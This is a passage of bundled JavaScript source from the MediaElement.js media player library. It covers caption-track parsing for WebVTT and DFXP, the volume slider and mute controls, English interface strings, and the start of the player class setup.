'mejs.chines-traditional', hr: 'mejs.croatian', cs: 'mejs.czech', da: 'mejs.danish', nl: 'mejs.dutch', en: 'mejs.english', et: 'mejs.estonian', fl: 'mejs.filipino', fi: 'mejs.finnish', fr: 'mejs.french', gl: 'mejs.galician', de: 'mejs.german', el: 'mejs.greek', ht: 'mejs.haitian-creole', iw: 'mejs.hebrew', hi: 'mejs.hindi', hu: 'mejs.hungarian', is: 'mejs.icelandic', id: 'mejs.indonesian', ga: 'mejs.irish', it: 'mejs.italian', ja: 'mejs.japanese', ko: 'mejs.korean', lv: 'mejs.latvian', lt: 'mejs.lithuanian', mk: 'mejs.macedonian', ms: 'mejs.malay', mt: 'mejs.maltese', no: 'mejs.norwegian', fa: 'mejs.persian', pl: 'mejs.polish', pt: 'mejs.portuguese', ro: 'mejs.romanian', ru: 'mejs.russian', sr: 'mejs.serbian', sk: 'mejs.slovak', sl: 'mejs.slovenian', es: 'mejs.spanish', sw: 'mejs.swahili', sv: 'mejs.swedish', tl: 'mejs.tagalog', th: 'mejs.thai', tr: 'mejs.turkish', uk: 'mejs.ukrainian', vi: 'mejs.vietnamese', cy: 'mejs.welsh', yi: 'mejs.yiddish' } }; _mejs2.default.TrackFormatParser = { webvtt: { pattern: /^((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{1,3})?) --\> ((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{3})?)(.*)$/, parse: function parse(trackText) { var lines = trackText.split(/\r?\n/), entries = []; var timecode = void 0, text = void 0, identifier = void 0; for (var i = 0, total = lines.length; i < total; i++) { timecode = this.pattern.exec(lines[i]); if (timecode && i < lines.length) { if (i - 1 >= 0 && lines[i - 1] !== '') { identifier = lines[i - 1]; } i++; text = lines[i]; i++; while (lines[i] !== '' && i < lines.length) { text = text + '\n' + lines[i]; i++; } text = text === null ? '' : text.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig, "<a href='$1' target='_blank'>$1</a>"); entries.push({ identifier: identifier, start: (0, _time.convertSMPTEtoSeconds)(timecode[1]) === 0 ? 0.200 : (0, _time.convertSMPTEtoSeconds)(timecode[1]), stop: (0, _time.convertSMPTEtoSeconds)(timecode[3]), text: text, settings: timecode[5] }); } identifier = ''; } return entries; } }, dfxp: { parse: function parse(trackText) { var trackElem = _document2.default.adoptNode(new DOMParser().parseFromString(trackText, 'application/xml').documentElement), container = trackElem.querySelector('div'), lines = container.querySelectorAll('p'), styleNode = _document2.default.getElementById(container.getAttribute('style')), entries = []; var styles = void 0; if (styleNode) { styleNode.removeAttribute('id'); var attributes = styleNode.attributes; if (attributes.length) { styles = {}; for (var i = 0, total = attributes.length; i < total; i++) { styles[attributes[i].name.split(":")[1]] = attributes[i].value; } } } for (var _i16 = 0, _total13 = lines.length; _i16 < _total13; _i16++) { var style = void 0, _temp = { start: null, stop: null, style: null, text: null }; if (lines[_i16].getAttribute('begin')) { _temp.start = (0, _time.convertSMPTEtoSeconds)(lines[_i16].getAttribute('begin')); } if (!_temp.start && lines[_i16 - 1].getAttribute('end')) { _temp.start = (0, _time.convertSMPTEtoSeconds)(lines[_i16 - 1].getAttribute('end')); } if (lines[_i16].getAttribute('end')) { _temp.stop = (0, _time.convertSMPTEtoSeconds)(lines[_i16].getAttribute('end')); } if (!_temp.stop && lines[_i16 + 1].getAttribute('begin')) { _temp.stop = (0, _time.convertSMPTEtoSeconds)(lines[_i16 + 1].getAttribute('begin')); } if (styles) { style = ''; for (var _style in styles) { style += _style + ': ' + styles[_style] + ';'; } } if (style) { _temp.style = style; } if (_temp.start === 0) { _temp.start = 0.200; } _temp.text = lines[_i16].innerHTML.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_| !:, .; ]*[-A-Z0-9+&@#\/%=~_|])/ig, "<a href='$1' target='_blank'>$1</a>"); entries.push(_temp); } return entries; } } }; },{"16":16,"2":2,"26":26,"27":27,"30":30,"5":5,"7":7}],14:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _constants = _dereq_(25); var _general = _dereq_(27); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } Object.assign(_player.config, { muteText: null, unmuteText: null, allyVolumeControlText: null, hideVolumeOnTouchDevices: true, audioVolume: 'horizontal', videoVolume: 'vertical', startVolume: 0.8 }); Object.assign(_player2.default.prototype, { buildvolume: function buildvolume(player, controls, layers, media) { if ((_constants.IS_ANDROID || _constants.IS_IOS) && this.options.hideVolumeOnTouchDevices) { return; } var t = this, mode = t.isVideo ? t.options.videoVolume : t.options.audioVolume, muteText = (0, _general.isString)(t.options.muteText) ? t.options.muteText : _i18n2.default.t('mejs.mute'), unmuteText = (0, _general.isString)(t.options.unmuteText) ? t.options.unmuteText : _i18n2.default.t('mejs.unmute'), volumeControlText = (0, _general.isString)(t.options.allyVolumeControlText) ? t.options.allyVolumeControlText : _i18n2.default.t('mejs.volume-help-text'), mute = _document2.default.createElement('div'); mute.className = t.options.classPrefix + 'button ' + t.options.classPrefix + 'volume-button ' + t.options.classPrefix + 'mute'; mute.innerHTML = mode === 'horizontal' ? '<button type="button" aria-controls="' + t.id + '" title="' + muteText + '" aria-label="' + muteText + '" tabindex="0"></button>' : '<button type="button" aria-controls="' + t.id + '" title="' + muteText + '" aria-label="' + muteText + '" tabindex="0"></button>' + ('<a href="javascript:void(0);" class="' + t.options.classPrefix + 'volume-slider" ') + ('aria-label="' + _i18n2.default.t('mejs.volume-slider') + '" aria-valuemin="0" aria-valuemax="100" role="slider" ') + 'aria-orientation="vertical">' + ('<span class="' + t.options.classPrefix + 'offscreen">' + volumeControlText + '</span>') + ('<div class="' + t.options.classPrefix + 'volume-total">') + ('<div class="' + t.options.classPrefix + 'volume-current"></div>') + ('<div class="' + t.options.classPrefix + 'volume-handle"></div>') + '</div>' + '</a>'; t.addControlElement(mute, 'volume'); t.options.keyActions.push({ keys: [38], action: function action(player) { var volumeSlider = player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'volume-slider'); if (volumeSlider && volumeSlider.matches(':focus')) { volumeSlider.style.display = 'block'; } if (player.isVideo) { player.showControls(); player.startControlsTimer(); } var newVolume = Math.min(player.volume + 0.1, 1); player.setVolume(newVolume); if (newVolume > 0) { player.setMuted(false); } } }, { keys: [40], action: function action(player) { var volumeSlider = player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'volume-slider'); if (volumeSlider) { volumeSlider.style.display = 'block'; } if (player.isVideo) { player.showControls(); player.startControlsTimer(); } var newVolume = Math.max(player.volume - 0.1, 0); player.setVolume(newVolume); if (newVolume <= 0.1) { player.setMuted(true); } } }, { keys: [77], action: function action(player) { var volumeSlider = player.getElement(player.container).querySelector('.' + t.options.classPrefix + 'volume-slider'); if (volumeSlider) { volumeSlider.style.display = 'block'; } if (player.isVideo) { player.showControls(); player.startControlsTimer(); } if (player.media.muted) { player.setMuted(false); } else { player.setMuted(true); } } }); if (mode === 'horizontal') { var anchor = _document2.default.createElement('a'); anchor.className = t.options.classPrefix + 'horizontal-volume-slider'; anchor.href = 'javascript:void(0);'; anchor.setAttribute('aria-label', _i18n2.default.t('mejs.volume-slider')); anchor.setAttribute('aria-valuemin', 0); anchor.setAttribute('aria-valuemax', 100); anchor.setAttribute('aria-valuenow', 100); anchor.setAttribute('role', 'slider'); anchor.innerHTML += '<span class="' + t.options.classPrefix + 'offscreen">' + volumeControlText + '</span>' + ('<div class="' + t.options.classPrefix + 'horizontal-volume-total">') + ('<div class="' + t.options.classPrefix + 'horizontal-volume-current"></div>') + ('<div class="' + t.options.classPrefix + 'horizontal-volume-handle"></div>') + '</div>'; mute.parentNode.insertBefore(anchor, mute.nextSibling); } var mouseIsDown = false, mouseIsOver = false, modified = false, updateVolumeSlider = function updateVolumeSlider() { var volume = Math.floor(media.volume * 100); volumeSlider.setAttribute('aria-valuenow', volume); volumeSlider.setAttribute('aria-valuetext', volume + '%'); }; var volumeSlider = mode === 'vertical' ? t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-slider') : t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'horizontal-volume-slider'), volumeTotal = mode === 'vertical' ? t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-total') : t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'horizontal-volume-total'), volumeCurrent = mode === 'vertical' ? t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-current') : t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'horizontal-volume-current'), volumeHandle = mode === 'vertical' ? t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'volume-handle') : t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'horizontal-volume-handle'), positionVolumeHandle = function positionVolumeHandle(volume) { if (volume === null || isNaN(volume) || volume === undefined) { return; } volume = Math.max(0, volume); volume = Math.min(volume, 1); if (volume === 0) { (0, _dom.removeClass)(mute, t.options.classPrefix + 'mute'); (0, _dom.addClass)(mute, t.options.classPrefix + 'unmute'); var button = mute.firstElementChild; button.setAttribute('title', unmuteText); button.setAttribute('aria-label', unmuteText); } else { (0, _dom.removeClass)(mute, t.options.classPrefix + 'unmute'); (0, _dom.addClass)(mute, t.options.classPrefix + 'mute'); var _button = mute.firstElementChild; _button.setAttribute('title', muteText); _button.setAttribute('aria-label', muteText); } var volumePercentage = volume * 100 + '%', volumeStyles = getComputedStyle(volumeHandle); if (mode === 'vertical') { volumeCurrent.style.bottom = 0; volumeCurrent.style.height = volumePercentage; volumeHandle.style.bottom = volumePercentage; volumeHandle.style.marginBottom = -parseFloat(volumeStyles.height) / 2 + 'px'; } else { volumeCurrent.style.left = 0; volumeCurrent.style.width = volumePercentage; volumeHandle.style.left = volumePercentage; volumeHandle.style.marginLeft = -parseFloat(volumeStyles.width) / 2 + 'px'; } }, handleVolumeMove = function handleVolumeMove(e) { var totalOffset = (0, _dom.offset)(volumeTotal), volumeStyles = getComputedStyle(volumeTotal); modified = true; var volume = null; if (mode === 'vertical') { var railHeight = parseFloat(volumeStyles.height), newY = e.pageY - totalOffset.top; volume = (railHeight - newY) / railHeight; if (totalOffset.top === 0 || totalOffset.left === 0) { return; } } else { var railWidth = parseFloat(volumeStyles.width), newX = e.pageX - totalOffset.left; volume = newX / railWidth; } volume = Math.max(0, volume); volume = Math.min(volume, 1); positionVolumeHandle(volume); t.setMuted(volume === 0); t.setVolume(volume); e.preventDefault(); e.stopPropagation(); }, toggleMute = function toggleMute() { if (t.muted) { positionVolumeHandle(0); (0, _dom.removeClass)(mute, t.options.classPrefix + 'mute'); (0, _dom.addClass)(mute, t.options.classPrefix + 'unmute'); } else { positionVolumeHandle(media.volume); (0, _dom.removeClass)(mute, t.options.classPrefix + 'unmute'); (0, _dom.addClass)(mute, t.options.classPrefix + 'mute'); } }; player.getElement(player.container).addEventListener('keydown', function (e) { var hasFocus = !!e.target.closest('.' + t.options.classPrefix + 'container'); if (!hasFocus && mode === 'vertical') { volumeSlider.style.display = 'none'; } }); mute.addEventListener('mouseenter', function (e) { if (e.target === mute) { volumeSlider.style.display = 'block'; mouseIsOver = true; e.preventDefault(); e.stopPropagation(); } }); mute.addEventListener('focusin', function () { volumeSlider.style.display = 'block'; mouseIsOver = true; }); mute.addEventListener('focusout', function (e) { if ((!e.relatedTarget || e.relatedTarget && !e.relatedTarget.matches('.' + t.options.classPrefix + 'volume-slider')) && mode === 'vertical') { volumeSlider.style.display = 'none'; } }); mute.addEventListener('mouseleave', function () { mouseIsOver = false; if (!mouseIsDown && mode === 'vertical') { volumeSlider.style.display = 'none'; } }); mute.addEventListener('focusout', function () { mouseIsOver = false; }); mute.addEventListener('keydown', function (e) { if (t.options.enableKeyboard && t.options.keyActions.length) { var keyCode = e.which || e.keyCode || 0, volume = media.volume; switch (keyCode) { case 38: volume = Math.min(volume + 0.1, 1); break; case 40: volume = Math.max(0, volume - 0.1); break; default: return true; } mouseIsDown = false; positionVolumeHandle(volume); media.setVolume(volume); e.preventDefault(); e.stopPropagation(); } }); mute.querySelector('button').addEventListener('click', function () { media.setMuted(!media.muted); var event = (0, _general.createEvent)('volumechange', media); media.dispatchEvent(event); }); volumeSlider.addEventListener('dragstart', function () { return false; }); volumeSlider.addEventListener('mouseover', function () { mouseIsOver = true; }); volumeSlider.addEventListener('focusin', function () { volumeSlider.style.display = 'block'; mouseIsOver = true; }); volumeSlider.addEventListener('focusout', function () { mouseIsOver = false; if (!mouseIsDown && mode === 'vertical') { volumeSlider.style.display = 'none'; } }); volumeSlider.addEventListener('mousedown', function (e) { handleVolumeMove(e); t.globalBind('mousemove.vol', function (event) { var target = event.target; if (mouseIsDown && (target === volumeSlider || target.closest(mode === 'vertical' ? '.' + t.options.classPrefix + 'volume-slider' : '.' + t.options.classPrefix + 'horizontal-volume-slider'))) { handleVolumeMove(event); } }); t.globalBind('mouseup.vol', function () { mouseIsDown = false; if (!mouseIsOver && mode === 'vertical') { volumeSlider.style.display = 'none'; } }); mouseIsDown = true; e.preventDefault(); e.stopPropagation(); }); media.addEventListener('volumechange', function (e) { if (!mouseIsDown) { toggleMute(); } updateVolumeSlider(e); }); var rendered = false; media.addEventListener('rendererready', function () { if (!modified) { setTimeout(function () { rendered = true; if (player.options.startVolume === 0 || media.originalNode.muted) { media.setMuted(true); } media.setVolume(player.options.startVolume); t.setControlsSize(); }, 250); } }); media.addEventListener('loadedmetadata', function () { setTimeout(function () { if (!modified && !rendered) { if (player.options.startVolume === 0 || media.originalNode.muted) { media.setMuted(true); } if (player.options.startVolume === 0) { player.options.startVolume = 0; } media.setVolume(player.options.startVolume); t.setControlsSize(); } rendered = false; }, 250); }); if (player.options.startVolume === 0 || media.originalNode.muted) { media.setMuted(true); if (player.options.startVolume === 0) { player.options.startVolume = 0; } toggleMute(); } t.getElement(t.container).addEventListener('controlsresize', function () { toggleMute(); }); } }); },{"16":16,"2":2,"25":25,"26":26,"27":27,"5":5}],15:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var EN = exports.EN = { 'mejs.plural-form': 1, 'mejs.download-file': 'Download File', 'mejs.install-flash': 'You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/', 'mejs.fullscreen': 'Fullscreen', 'mejs.play': 'Play', 'mejs.pause': 'Pause', 'mejs.time-slider': 'Time Slider', 'mejs.time-help-text': 'Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.', 'mejs.live-broadcast': 'Live Broadcast', 'mejs.volume-help-text': 'Use Up/Down Arrow keys to increase or decrease volume.', 'mejs.unmute': 'Unmute', 'mejs.mute': 'Mute', 'mejs.volume-slider': 'Volume Slider', 'mejs.video-player': 'Video Player', 'mejs.audio-player': 'Audio Player', 'mejs.captions-subtitles': 'Captions/Subtitles', 'mejs.captions-chapters': 'Chapters', 'mejs.none': 'None', 'mejs.afrikaans': 'Afrikaans', 'mejs.albanian': 'Albanian', 'mejs.arabic': 'Arabic', 'mejs.belarusian': 'Belarusian', 'mejs.bulgarian': 'Bulgarian', 'mejs.catalan': 'Catalan', 'mejs.chinese': 'Chinese', 'mejs.chinese-simplified': 'Chinese (Simplified)', 'mejs.chinese-traditional': 'Chinese (Traditional)', 'mejs.croatian': 'Croatian', 'mejs.czech': 'Czech', 'mejs.danish': 'Danish', 'mejs.dutch': 'Dutch', 'mejs.english': 'English', 'mejs.estonian': 'Estonian', 'mejs.filipino': 'Filipino', 'mejs.finnish': 'Finnish', 'mejs.french': 'French', 'mejs.galician': 'Galician', 'mejs.german': 'German', 'mejs.greek': 'Greek', 'mejs.haitian-creole': 'Haitian Creole', 'mejs.hebrew': 'Hebrew', 'mejs.hindi': 'Hindi', 'mejs.hungarian': 'Hungarian', 'mejs.icelandic': 'Icelandic', 'mejs.indonesian': 'Indonesian', 'mejs.irish': 'Irish', 'mejs.italian': 'Italian', 'mejs.japanese': 'Japanese', 'mejs.korean': 'Korean', 'mejs.latvian': 'Latvian', 'mejs.lithuanian': 'Lithuanian', 'mejs.macedonian': 'Macedonian', 'mejs.malay': 'Malay', 'mejs.maltese': 'Maltese', 'mejs.norwegian': 'Norwegian', 'mejs.persian': 'Persian', 'mejs.polish': 'Polish', 'mejs.portuguese': 'Portuguese', 'mejs.romanian': 'Romanian', 'mejs.russian': 'Russian', 'mejs.serbian': 'Serbian', 'mejs.slovak': 'Slovak', 'mejs.slovenian': 'Slovenian', 'mejs.spanish': 'Spanish', 'mejs.swahili': 'Swahili', 'mejs.swedish': 'Swedish', 'mejs.tagalog': 'Tagalog', 'mejs.thai': 'Thai', 'mejs.turkish': 'Turkish', 'mejs.ukrainian': 'Ukrainian', 'mejs.vietnamese': 'Vietnamese', 'mejs.welsh': 'Welsh', 'mejs.yiddish': 'Yiddish' }; },{}],16:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.config = undefined; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _mediaelement = _dereq_(6); var _mediaelement2 = _interopRequireDefault(_mediaelement); var _default = _dereq_(17); var _default2 = _interopRequireDefault(_default); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _constants = _dereq_(25); var _general = _dereq_(27); var _time = _dereq_(30); var _media = _dereq_(28); var _dom = _dereq_(26); var dom = _interopRequireWildcard(_dom); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } _mejs2.default.mepIndex = 0; _mejs2.default.players = {}; var config = exports.config = { poster: '', showPosterWhenEnded: false, showPosterWhenPaused: false, defaultVideoWidth: 480, defaultVideoHeight: 270, videoWidth: -1, videoHeight: -1, defaultAudioWidth: 400, defaultAudioHeight: 40, defaultSeekBackwardInterval: function defaultSeekBackwardInterval(media) { return media.getDuration() * 0.05; }, defaultSeekForwardInterval: function defaultSeekForwardInterval(media) { return media.getDuration() * 0.05; }, setDimensions: true, audioWidth: -1, audioHeight: -1, loop: false, autoRewind: true, enableAutosize: true, timeFormat: '', alwaysShowHours: false, showTimecodeFrameCount: false, framesPerSecond: 25, alwaysShowControls: false, hideVideoControlsOnLoad: false, hideVideoControlsOnPause: false, clickToPlayPause: true, controlsTimeoutDefault: 1500, controlsTimeoutMouseEnter: 2500, controlsTimeoutMouseLeave: 1000, iPadUseNativeControls: false, iPhoneUseNativeControls: false, AndroidUseNativeControls: false, features: ['playpause', 'current', 'progress', 'duration', 'tracks', 'volume', 'fullscreen'], useDefaultControls: false, isVideo: true, stretching: 'auto', classPrefix: 'mejs__', enableKeyboard: true, pauseOtherPlayers: true, secondsDecimalLength: 0, customError: null, keyActions: [{ keys: [32, 179], action: function action(player) { if (!_constants.IS_FIREFOX) { if (player.paused || player.ended) { player.play(); } else { player.pause(); } } } }] }; _mejs2.default.MepDefaults = config; var MediaElementPlayer = function () { function MediaElementPlayer(node, o) { _classCallCheck(this, MediaElementPlayer); var t = this, element = typeof node === 'string' ? _document2.default.getElementById(node) : node; if (!(t instanceof MediaElementPlayer)) { return new MediaElementPlayer(element, o); } t.node = t.media = element; if (!t.node) { return; } if (t.media.player) { return t.media.player; } t.hasFocus = false; t.controlsAreVisible = true; t.controlsEnabled = true; t.controlsTimer = null; t.currentMediaTime = 0; t.proxy = null; if (o === undefined) { var options = t.node.getAttribute('data-mejsoptions'); o = options ? JSON.parse(options) : {}; } t.options = Object.assign({}, config, o); if (t.options.loop && !t.media.getAttribute('loop')) { t.media.loop = true; t.node.loop = true; } else if (t.media.loop) { t.options.loop = true; } if (!t.options.timeFormat) { t.options.timeFormat = 'mm:ss'; if (t.options.alwaysShowHours) { t.options.timeFormat = 'hh:mm:ss'; } if (t.options.showTimecodeFrameCount) { t.options.timeFormat += ':ff'; } } (0, _time.calculateTimeFormat)(0, t.options, t.options.framesPerSecond || 25); t.id = 'mep_' + _mejs2.default.mepIndex++; _mejs2.default.players[t.id] = t; t.init(); return t; } _createClass(MediaElementPlayer, [{ key: 'getElement', value: function getElement(element) { return element; } }, { key: 'init', value: function init() { var t = this, playerOptions = Object.assign({}, t.options, { success: function success(media, domNode) { t._meReady(media, domNode); }, error: function error(e) { t._handleError(e); } }), tagName = t.node.tagName.toLowerCase(); t.isDynamic = tagName !== 'audio' && tagName !== 'video' && tagName !== 'iframe'; t.isVideo = t.isDynamic ? t.options.isVideo : tagName !== 'audio' && t.options.isVideo; t.mediaFiles = null; t.trackFiles = null; if (_constants.IS_IPAD && t.options.iPadUseNativeControls || _constants.IS_IPHONE && t.options.iPhoneUseNativeControls) { t.node.setAttribute('controls', true); if (_constants.IS_IPAD && t.node.getAttribute('autoplay')) { t.play(); } } else if ((t.isVideo || !t.isVideo && (t.options.features.length || t.options.useDefaultControls)) && !(_constants.IS_ANDROID && t.options.AndroidUseNativeControls)) { t.node.removeAttribute('controls'); var videoPlayerTitle = t.isVideo ? _i18n2.default.t('mejs.video-player') : _i18n2.default.t('mejs.audio-player'); var offscreen = _document2.default.createElement('span'); offscreen.className = t.options.classPrefix + 'offscreen'; offscreen.innerText = videoPlayerTitle; t.media.parentNode.insertBefore(offscreen, t.media); t.container = _document2.default.createElement('div'); t.getElement(t.container).id = t.id; t.getElement(t.container).className = t.options.classPrefix + 'container ' + t.options.classPrefix + 'container-keyboard-inactive ' + t.media.className; t.getElement(t.container).tabIndex = 0; t.getElement(t.container).setAttribute('role', 'application'); t.getElement(t.container).setAttribute('aria-label', videoPlayerTitle); t.getElement(t.container).innerHTML = '<div class="' + t.options.classPrefix + 'inner">' + ('<div class="' + t.options.classPrefix + 'mediaelement"></div>') + ('<div class="' + t.options.classPrefix + 'layers"></div>') + ('<div class="' + t.options.classPrefix + 'controls"></div>') + '</div>'; t.getElement(t.container).addEventListener('focus', function (e) { if (!t.controlsAreVisible && !t.hasFocus && t.controlsEnabled) { t.showControls(true); var btnSelector = (0, _general.isNodeAfter)(e.relatedTarget, t.getElement(t.container)) ? '.' + t.options.classPrefix + 'controls .' + t.options.classPrefix + 'button:last-child > button' : '.' + t.options.classPrefix + 'playpause-button > button', button = t.getElement(t.container).querySelector(btnSelector); button.focus(); } }); t.node.parentNode.insertBefore(t.getElement(t.container), t.node); if (!t.options.features.length && !t.options.useDefaultControls) { t.getElement(t.container).style.background = 'transparent'; t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'controls').style.display = 'none'; } if (t.isVideo && t.options.stretching === 'fill' && !dom.hasClass(t.getElement(t.container).parentNode, t.options.classPrefix + 'fill-container')) { t.outerContainer = t.media.parentNode; var wrapper = _document2.default.createElement('div'); wrapper.className = t.options.classPrefix + 'fill-container'; t.getElement(t.container).parentNode.insertBefore(wrapper, t.getElement(t.container)); wrapper.appendChild(t.getElement(t.container)); } if (_constants.IS_ANDROID) { dom.addClass(t.getElement(t.container), t.options.classPrefix + 'android'); } if (_constants.IS_IOS) { dom.addClass(t.getElement(t.container), t.options.classPrefix + 'ios'); } if (_constants.IS_IPAD) { dom.addClass(t.getElement(t.container), t.options.classPrefix + 'ipad'); } if (_constants.IS_IPHONE) { dom.addClass(t.getElement(t.container), t.options.classPrefix + 'iphone'); } dom.addClass(t.getElement(t.container), t.isVideo ? t.options.classPrefix + 'video' : t.options.classPrefix + 'audio'); t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'mediaelement').appendChild(t.node); t.media.player = t; t.controls = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'controls'); t.layers = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'layers'); var tagType = t.isVideo ? 'video' : 'audio', capsTagName = tagType.substring(0, 1).toUpperCase() + tagType.substring(1); if (t.options[tagType + 'Width'] > 0 || t.options[tagType + 'Width'].toString().indexOf('%') > -1) { t.width = t.options[tagType + 'Width']; } else if (t.node.style.width !== '' && t.node.style.width !== null) { t.width = t.node.style.width; } else if (t.node.getAttribute('width')) { t.width = t.node.getAttribute('width'); } else { t.width = t.options['default' + capsTagName + 'Width']; } if (t.options[tagType + 'Height'] > 0 || t.options[tagType + 'Height'].toString().indexOf('%') > -1) { t.height = t.options[tagType + 'Height']; } else if (t.node.style.height !== '' && t.node.style.height !== null) { t.height = t.node.style.height; } else if (t.node.getAttribute('height')) { t.height = t.node.getAttribute('height'); } else { t.height = t.options['default' + capsTagName + 'Height']; } t.initialAspectRatio = t.height >= t.width ? t.width / t.height : t.height / t.width; t.setPlayerSize(t.width, t.height); playerOptions.pluginWidth = t.width; playerOptions.pluginHeight = t.height; } else if (!t.isVideo && !t.options.features.length && !t.options.useDefaultControls) { t.node.style.display = 'none'; } _mejs2.default.MepDefaults = playerOptions; new _mediaelement2.default(t.media, playerOptions, t.mediaFiles); if (t.getElement(t.container) !== undefined && t.options.features.length && t.controlsAreVisible && !t.options.hideVideoControlsOnLoad) { var event = (0, _general.createEvent)('controlsshown', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); } } }, { key: 'showControls', value: function showControls(doAnimation) { var t = this; doAnimation = doAnimation === undefined || doAnimation; if (t.controlsAreVisible || !t.isVideo) { return; } if (doAnimation) { (function () { dom.fadeIn(t.getElement(t.controls), 200, function () { dom.removeClass(t.getElement(t.controls), t.options.classPrefix + 'offscreen'); var event = (0, _general.createEvent)('controlsshown', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); }); var controls = t.getElement(t.container).querySelectorAll('.' + t.options.classPrefix + 'control'); var _loop = function _loop(i, total) { dom.fadeIn(controls[i], 200, function () { dom.removeClass(controls[i], t.options.classPrefix + 'offscreen'); }); }; for (var i = 0, total = controls.length; i < total; i++) { _loop(i, total); } })(); } else { dom.removeClass(t.getElement(t.controls), t.options.classPrefix + 'offscreen'); t.getElement(t.controls).style.display = ''; t.getElement(t.controls).style.opacity = 1; var controls = t.getElement(t.container).querySelectorAll('.' + t.options.classPrefix + 'control'); for (var i = 0, total = controls.length; i < total; i++) { dom.removeClass(controls[i], t.options.classPrefix + 'offscreen'); controls[i].style.display = ''; } var event = (0, _general.createEvent)('controlsshown', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); } t.controlsAreVisible = true; t.setControlsSize(); } }, { key: 'hideControls', value: function hideControls(doAnimation, forceHide) { var t = this; doAnimation = doAnimation === undefined || doAnimation; if (forceHide !== true && (!t.controlsAreVisible || t.options.alwaysShowControls || t.paused && t.readyState === 4 && (!t.options.hideVideoControlsOnLoad && t.currentTime <= 0 || !t.options.hideVideoControlsOnPause && t.currentTime > 0) || t.isVideo && !t.options.hideVideoControlsOnLoad && !t.readyState || t.ended)) { return; } if (doAnimation) { (function () { dom.fadeOut(t.getElement(t.controls), 200, function () { dom.addClass(t.getElement(t.controls), t.options.classPrefix + 'offscreen'); t.getElement(t.controls).style.display = ''; var event = (0, _general.createEvent)('controlshidden', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); }); var controls = t.getElement(t.container).querySelectorAll('.' + t.options.classPrefix + 'control'); var _loop2 = function _loop2(i, total) { dom.fadeOut(controls[i], 200, function () { dom.addClass(controls[i], t.options.classPrefix + 'offscreen'); controls[i].style.display = ''; }); }; for (var i = 0, total = controls.length; i < total; i++) { _loop2(i, total); } })(); } else { dom.addClass(t.getElement(t.controls), t.options.classPrefix + 'offscreen'); t.getElement(t.controls).style.display = ''; t.getElement(t.controls).style.opacity = 0; var controls = t.getElement(t.container).querySelectorAll('.' + t.options.classPrefix + 'control'); for (var i = 0, total = controls.length; i < total; i++) { dom.addClass(controls[i], t.options.classPrefix + 'offscreen'); controls[i].style.display = ''; } var event = (0, _general.createEvent)('controlshidden', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); } t.controlsAreVisible = false; } }, { key: 'startControlsTimer', value: function startControlsTimer(timeout) { var t = this; timeout = typeof timeout !== 'undefined' ? timeout : t.options.controlsTimeoutDefault; t.killControlsTimer('start'); t.controlsTimer = setTimeout(function () { t.hideControls(); t.killControlsTimer('hide'); }, timeout); } }, { key: 'killControlsTimer', value: function killControlsTimer() { var t = this; if (t.controlsTimer !== null) { clearTimeout(t.controlsTimer); delete t.controlsTimer; t.controlsTimer = null; } } }, { key: 'disableControls', value: function disableControls() { var t = this; t.killControlsTimer(); t.controlsEnabled = false; t.hideControls(false, true); } }, { key: 'enableControls', value: function enableControls() { var t = this; t.controlsEnabled = true; t.showControls(false); } }, { key: 